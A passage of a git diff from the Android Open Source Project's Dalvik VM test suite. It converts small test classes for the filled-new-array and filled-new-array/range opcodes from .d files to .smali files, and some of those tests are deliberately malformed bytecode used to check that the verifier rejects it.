-.class public dot.junit.opcodes.filled_new_array.d.T_filled_new_array_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-    invoke-direct {v0}, java/lang/Object/<init>()V
-    return-void
-.end method
-
-.method public run(Ljava/lang/Object;)[Ljava/lang/Object;
-.limit regs 10
-    filled-new-array {v9}, [Ljava/lang/String;
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_9.smali
new file mode 100644
index 0000000..962b1c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_9.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2009 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_9.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+    invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+    return-void
+.end method
+
+.method public run(Ljava/lang/Object;)[Ljava/lang/Object;
+.registers 10
+    filled-new-array {v9}, [Ljava/lang/String;
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_1.d
deleted file mode 100644
index 503c12a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_range_1.java
-.class public dot.junit.opcodes.filled_new_array_range.d.T_filled_new_array_range_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IIIII)[I
-.limit regs 10
-    filled-new-array/range {v5..v9}, [I
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_1.smali
new file mode 100644
index 0000000..5e6f627
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_1.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array/range {v5..v9}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_10.d
deleted file mode 100644
index 50a34b5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_10.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2009 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_range_10.java
-.class public dot.junit.opcodes.filled_new_array_range.d.T_filled_new_array_range_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-    invoke-direct {v0}, java/lang/Object/<init>()V
-    return-void
-.end method
-
-.method public run()[Ljava/lang/Object;
-.limit regs 10
-    const v9, 0
-    filled-new-array/range {v9}, [Ljava/lang/StringNNNNN;
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_10.smali
new file mode 100644
index 0000000..663829d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_10.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2009 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_10.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+    invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+    return-void
+.end method
+
+.method public run()[Ljava/lang/Object;
+.registers 10
+    const v9, 0
+    filled-new-array/range {v9}, [Ljava/lang/StringNNNNN;
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_11.d
deleted file mode 100644
index e3a21e9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2009 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_range_11.java
-.class public dot.junit.opcodes.filled_new_array_range.d.T_filled_new_array_range_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-    invoke-direct {v0}, java/lang/Object/<init>()V
-    return-void
-.end method
-
-.method public run()[Ljava/lang/Object;
-.limit regs 10
-    const v9, 0
-    filled-new-array/range {v9}, [Ldot/junit/opcodes/filled_new_array_range/TestStubs;
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_11.smali
new file mode 100644
index 0000000..6f47fda
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2009 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_11.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+    invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+    return-void
+.end method
+
+.method public run()[Ljava/lang/Object;
+.registers 10
+    const v9, 0
+    filled-new-array/range {v9}, [Ldot/junit/opcodes/filled_new_array_range/TestStubs;
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_2.d
deleted file mode 100644
index 2b2ef15..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_range_2.java
-.class public dot.junit.opcodes.filled_new_array_range.d.T_filled_new_array_range_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)[Ljava/lang/Object;
-.limit regs 10
-    filled-new-array/range {v8..v9}, [Ljava/lang/Object;
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_2.smali
new file mode 100644
index 0000000..37683b1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_2.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)[Ljava/lang/Object;
+.registers 10
+    filled-new-array/range {v8..v9}, [Ljava/lang/Object;
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_3.d
deleted file mode 100644
index f8c25f0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_range_3.java
-.class public dot.junit.opcodes.filled_new_array_range.d.T_filled_new_array_range_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IIIII)[I
-.limit regs 10
-    filled-new-array/range {v5..v9}, [I
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_3.smali
new file mode 100644
index 0000000..03b95b8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_3.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array/range {v5..v9}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_4.d
deleted file mode 100644
index ab3d24e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_range_4.java
-.class public dot.junit.opcodes.filled_new_array_range.d.T_filled_new_array_range_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IIIII)[I
-.limit regs 10
-    filled-new-array/range {v5..v10}, [I
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_4.smali
new file mode 100644
index 0000000..2698ce9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_4.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array/range {v5..v10}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_5.d
deleted file mode 100644
index 6781fa1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_range_5.java
-.class public dot.junit.opcodes.filled_new_array_range.d.T_filled_new_array_range_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IIIII)[I
-.limit regs 10
-    filled-new-array/range {v4..v8}, [I
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_5.smali
new file mode 100644
index 0000000..730a789
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_5.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array/range {v4..v8}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_6.d
deleted file mode 100644
index 33233b5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_range_6.java
-.class public dot.junit.opcodes.filled_new_array_range.d.T_filled_new_array_range_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IIIIJ)V
-.limit regs 11
-    filled-new-array/range {v5..v9}, [I
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_6.smali
new file mode 100644
index 0000000..c58eb45
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_6.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIIJ)V
+.registers 11
+    filled-new-array/range {v5..v9}, [I
+    return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_7.d
deleted file mode 100644
index f60043a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_range_7.java
-.class public dot.junit.opcodes.filled_new_array_range.d.T_filled_new_array_range_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IIIII)[I
-.limit regs 10
-    filled-new-array/range {v5..v9}, I
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_7.smali
new file mode 100644
index 0000000..1779f40
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_7.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array/range {v5..v9}, I
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_8.d
deleted file mode 100644
index 7a93faf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_range_8.java
-.class public dot.junit.opcodes.filled_new_array_range.d.T_filled_new_array_range_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IIIII)[I
-.limit regs 10
-    filled-new-array/range {v5..v9}, [I
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_8.smali
new file mode 100644
index 0000000..61afa58
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_8.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array/range {v5..v9}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_9.d
deleted file mode 100644
index 4218cbe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_9.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2009 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_range_9.java
-.class public dot.junit.opcodes.filled_new_array_range.d.T_filled_new_array_range_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-    invoke-direct {v0}, java/lang/Object/<init>()V
-    return-void
-.end method
-
-.method public run(Ljava/lang/Object;)[Ljava/lang/Object;
-.limit regs 10
-    filled-new-array/range {v9}, [Ljava/lang/String;
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_9.smali
new file mode 100644
index 0000000..f0abeb4
--- /dev/null
